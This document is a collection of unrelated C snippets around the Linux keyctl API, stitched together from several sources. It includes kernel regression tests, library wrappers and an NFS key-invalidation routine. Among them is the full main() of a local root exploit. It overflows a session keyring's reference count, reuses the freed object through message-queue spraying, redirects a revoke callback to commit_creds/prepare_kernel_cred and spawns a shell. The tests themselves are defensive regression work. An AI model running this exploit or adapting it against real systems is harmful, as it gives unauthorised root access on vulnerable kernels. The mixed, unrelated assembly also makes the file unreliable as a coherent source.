static int init_key(char *name, int cmd) { int n; int sec = 1; n = add_key("keyring", name, NULL, 0, KEY_SPEC_THREAD_KEYRING); if (n == -1) tst_brk(TBROK | TERRNO, "add_key() failed"); if (cmd == KEYCTL_REVOKE) { if (keyctl(cmd, n) == -1) { tst_brk(TBROK | TERRNO, "failed to revoke a key"); } } if (cmd == KEYCTL_SET_TIMEOUT) { if (keyctl(cmd, n, sec) == -1) { tst_brk(TBROK | TERRNO, "failed to set timeout for a key"); } sleep(sec + 1); } return n; }
static void test_update_nonupdatable(const char *type, const void *payload, size_t plen) { key_serial_t keyid; new_session_keyring(); TEST(add_key(type, "desc", payload, plen, KEY_SPEC_SESSION_KEYRING)); if (TEST_RETURN < 0) { if (TEST_ERRNO == ENODEV) { tst_res(TCONF, "kernel doesn't support key type '%s'", type); return; } if (TEST_ERRNO == EBADMSG && !strcmp(type, "asymmetric")) { tst_res(TCONF, "kernel is missing x509 cert parser " "(CONFIG_X509_CERTIFICATE_PARSER)"); return; } if (TEST_ERRNO == ENOENT && !strcmp(type, "asymmetric")) { tst_res(TCONF, "kernel is missing crypto algorithms " "needed to parse x509 cert (CONFIG_CRYPTO_RSA " "and/or CONFIG_CRYPTO_SHA256)"); return; } tst_res(TBROK | TTERRNO, "unexpected error adding '%s' key", type); return; } keyid = TEST_RETURN; /* * Non-updatable keys don't start with write permission, so we must * explicitly grant it. */ TEST(keyctl(KEYCTL_SETPERM, keyid, KEY_POS_ALL)); if (TEST_RETURN != 0) { tst_res(TBROK | TTERRNO, "failed to grant write permission to '%s' key", type); return; } tst_res(TINFO, "Try to update the '%s' key...", type); TEST(keyctl(KEYCTL_UPDATE, keyid, payload, plen)); if (TEST_RETURN == 0) { tst_res(TBROK, "updating '%s' key unexpectedly succeeded", type); return; } if (TEST_ERRNO != EOPNOTSUPP) { tst_res(TBROK | TTERRNO, "updating '%s' key unexpectedly failed", type); return; } tst_res(TPASS, "updating '%s' key expectedly failed with EOPNOTSUPP", type); }
static void do_test(void) { key_serial_t tid_keyring; TEST(keyctl(KEYCTL_GET_KEYRING_ID, KEY_SPEC_THREAD_KEYRING, 1)); if (TST_RET < 0) tst_brk(TBROK | TTERRNO, "failed to create thread keyring"); tid_keyring = TST_RET; TEST(keyctl(KEYCTL_SET_REQKEY_KEYRING, KEY_REQKEY_DEFL_THREAD_KEYRING)); if (TST_RET < 0) tst_brk(TBROK | TTERRNO, "failed to set reqkey keyring"); TEST(keyctl(KEYCTL_GET_KEYRING_ID, KEY_SPEC_THREAD_KEYRING, 0)); if (TST_RET < 0) tst_brk(TBROK | TTERRNO, "failed to get thread keyring ID"); if (TST_RET == tid_keyring) tst_res(TPASS, "thread keyring was not leaked"); else tst_res(TFAIL, "thread keyring was leaked!"); }
/* * Try to update a key, racing with removing write permission. * This may crash buggy kernels. */ static void test_update_setperm_race(void) { static const char payload[] = "payload"; key_serial_t keyid; int i; new_session_keyring(); TEST(add_key("user", "desc", payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING)); if (TEST_RETURN < 0) { tst_res(TBROK | TTERRNO, "failed to add 'user' key"); return; } keyid = TEST_RETURN; if (SAFE_FORK() == 0) { uint32_t perm = KEY_POS_ALL; for (i = 0; i < 10000; i++) { perm ^= KEY_POS_WRITE; TEST(keyctl(KEYCTL_SETPERM, keyid, perm)); if (TEST_RETURN != 0) tst_brk(TBROK | TTERRNO, "setperm failed"); } exit(0); } tst_res(TINFO, "Try to update the 'user' key..."); for (i = 0; i < 10000; i++) { TEST(keyctl(KEYCTL_UPDATE, keyid, payload, sizeof(payload))); if (TEST_RETURN != 0 && TEST_ERRNO != EACCES) { tst_res(TBROK | TTERRNO, "failed to update 'user' key"); return; } } tst_reap_children(); tst_res(TPASS, "didn't crash while racing to update 'user' key"); }
int ecryptfs_validate_keyring(void) { long rc_long; int rc = 0; if ((rc_long = keyctl(KEYCTL_LINK, KEY_SPEC_USER_KEYRING, KEY_SPEC_SESSION_KEYRING))) { syslog(LOG_ERR, "Error attempting to link the user session " "keyring into the session keyring\n"); rc = -EIO; goto out; } out: return rc; }
static void do_test(void) { key_serial_t key; key = add_key("user", "ltptestkey", "a", 1, KEY_SPEC_SESSION_KEYRING); if (key == -1) tst_brk(TBROK, "Failed to add key"); request_key("keyring", "foo", "bar", KEY_SPEC_THREAD_KEYRING); TEST(keyctl(KEYCTL_UNLINK, key, KEY_SPEC_SESSION_KEYRING)); if (TEST_RETURN) tst_res(TFAIL | TTERRNO, "keyctl unlink failed"); else tst_res(TPASS, "Bug not reproduced"); }
int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("[+] uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); if(commit_creds == NULL || prepare_kernel_cred == NULL) { commit_creds = (_commit_creds)COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR; if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370) puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source"); } my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("[+] Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("[-] keyctl"); return -1; } } puts("[+] Finished increfing"); puts("[+] Forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("[-] fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("[-] msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("[-] msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("[+] Finished forking"); sleep(5); /* call userspace_revoke from kernel */ puts("[+] Caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("[+] keyctl_revoke"); } printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; }
long keyctl_search(key_serial_t ringid, const char *type, const char *description, key_serial_t destringid) { return keyctl(KEYCTL_SEARCH, ringid, type, description, destringid); }
long keyctl_setperm(key_serial_t id, int permissions) { return keyctl(KEYCTL_SETPERM, id, permissions); }
long keyctl_revoke(key_serial_t id) { return keyctl(KEYCTL_REVOKE, id); }
static void new_session_keyring(void) { TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL)); if (TEST_RETURN < 0) tst_brk(TBROK | TTERRNO, "failed to join new session keyring"); }
/* * Revoke a key */ static int key_invalidate(char *keystr, int keymask) { FILE *fp; char buf[BUFSIZ], *ptr; key_serial_t key; int mask; xlog_syslog(0); if ((fp = fopen(PROCKEYS, "r")) == NULL) { xlog_err("fopen(%s) failed: %m", PROCKEYS); return EXIT_FAILURE; } while(fgets(buf, BUFSIZ, fp) != NULL) { if (strstr(buf, "keyring") != NULL) continue; mask = 0; if ((ptr = strstr(buf, "uid:")) != NULL) mask = UIDKEYS; else if ((ptr = strstr(buf, "gid:")) != NULL) mask = GIDKEYS; else continue; if ((keymask & mask) == 0) continue; if (strncmp(ptr+4, keystr, strlen(keystr)) != 0) continue; if (verbose) { *(strchr(buf, '\n')) = '\0'; xlog_warn("invalidating '%s'", buf); } /* * The key is the first arugment in the string */ *(strchr(buf, ' ')) = '\0'; sscanf(buf, "%x", &key); /* older libkeyutils compatibility */ #ifndef KEYCTL_INVALIDATE #define KEYCTL_INVALIDATE 21 /* invalidate a key */ #endif if (keyctl(KEYCTL_INVALIDATE, key) < 0) { if (errno != EOPNOTSUPP) { xlog_err("keyctl_invalidate(0x%x) failed: %m", key); fclose(fp); return EXIT_FAILURE; } else { /* older kernel compatibility attempt: */ if (keyctl_revoke(key) < 0) { xlog_err("keyctl_revoke(0x%x) failed: %m", key); fclose(fp); return EXIT_FAILURE; } } } keymask &= ~mask; if (keymask == 0) { fclose(fp); return EXIT_SUCCESS; } } xlog_err("'%s' key was not found.", keystr); fclose(fp); return EXIT_FAILURE; }